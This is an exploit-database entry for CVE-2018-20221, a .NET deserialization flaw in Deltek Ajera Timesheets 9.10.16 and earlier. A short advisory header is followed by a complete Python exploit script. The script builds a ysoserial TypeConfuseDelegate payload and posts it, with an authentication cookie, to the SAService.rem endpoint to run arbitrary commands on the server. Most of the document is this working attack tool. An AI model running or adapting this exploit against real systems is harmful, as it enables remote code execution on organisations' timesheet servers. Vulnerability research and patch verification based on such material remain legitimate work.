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Ajera Timesheets 9.10.16 Deserialization

Ajera Timesheets 9.10.16 Deserialization
Posted Jan 7, 2019
Authored by Anthony Cole

Ajera Timesheets versions 9.10.16 and below suffer from a vulnerability where it performs deserialization of untrusted data.

tags | exploit
advisories | CVE-2018-20221
SHA-256 | d924cc5c9d6afb43a5b35465af9212eb3910f76d71f147d9517eabf50904532f

Ajera Timesheets 9.10.16 Deserialization

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# Exploit Title: Ajera Timesheets <= 9.10.16 - Deserialization of untrusted data
# Date: 2019-01-03
# Exploit Author: Anthony Cole
# Vendor Homepage: https://www.deltek.com/en/products/project-erp/ajera
# Version: <= 9.10.16
# Contact: http://twitter.com/acole76
# Website: http://twitter.com/acole76
# Tested on: Windows 2012
# CVE: CVE-2018-20221
# Category: webapps
#
# Ajera is a software written in .NET by Deltek. Version <= 9.10.16 allows an attacker to cause the software to deserialize untrusted data that can result in remote code execution.
# Secure/SAService.rem in Deltek Ajera Timesheets <= 9.10.16 are vulnerable to remote code execution via deserialization of untrusted user input from an authenticated user. The executed code will run as the IIS Application Pool that is running the application.
#

import struct, sys, requests, zlib, argparse, urlparse, subprocess

def run_command(command):
p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
output = b''
for line in iter(p.stdout.readline, b''):
output += line

return output

def isurl(urlstr):
try:
urlparse.urlparse(urlstr)
return urlstr
except:
raise argparse.ArgumentTypeError("invalid url")

if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Ajera .NET Remoting Exlpoit')
parser.add_argument("--url", "-u", type=isurl, required=True, help="the url of the target.")
parser.add_argument("--cmd", "-c", required=True, help="the command to execute")
parser.add_argument("--auth", "-a", required=True, help="the ASPXAUTH cookie")
parser.add_argument("--version", "-v", required=False, help="the version of Ajera Server. 8.9.9.0 => 8990", default="8990")
parser.add_argument("--ysoserial", "-y", required=True, help="the path to ysoserial.exe")
parser.add_argument("--proxy", "-p", type=isurl, required=False, help="ex: http://127.0.0.1:8080")
args = parser.parse_args()

url_parts = urlparse.urlparse(args.url)
target_url = "%s://%s" % (url_parts.scheme, url_parts.netloc)

proxies = {}
if(args.proxy != None):
proxy_parts = urlparse.urlparse(args.proxy)
proxies[proxy_parts.scheme] = "%s://%s" % (proxy_parts.scheme, proxy_parts.netloc)

cmd = "/c " + args.cmd
size = len(cmd)

serial_payload = run_command('%s -o raw -g TypeConfuseDelegate -f BinaryFormatter -c "%s"' % (args.ysoserial, args.cmd))

url = target_url + "/ajera/Secure/SAService.rem"
headers = {'Content-Type': 'application/octet-stream'}
cookies = {'.ASPXAUTH': args.auth}
payload = "\x04" + args.version + zlib.compress(serial_payload)
response = requests.post(url, headers=headers, cookies=cookies, data=payload, proxies=proxies, verify=False)


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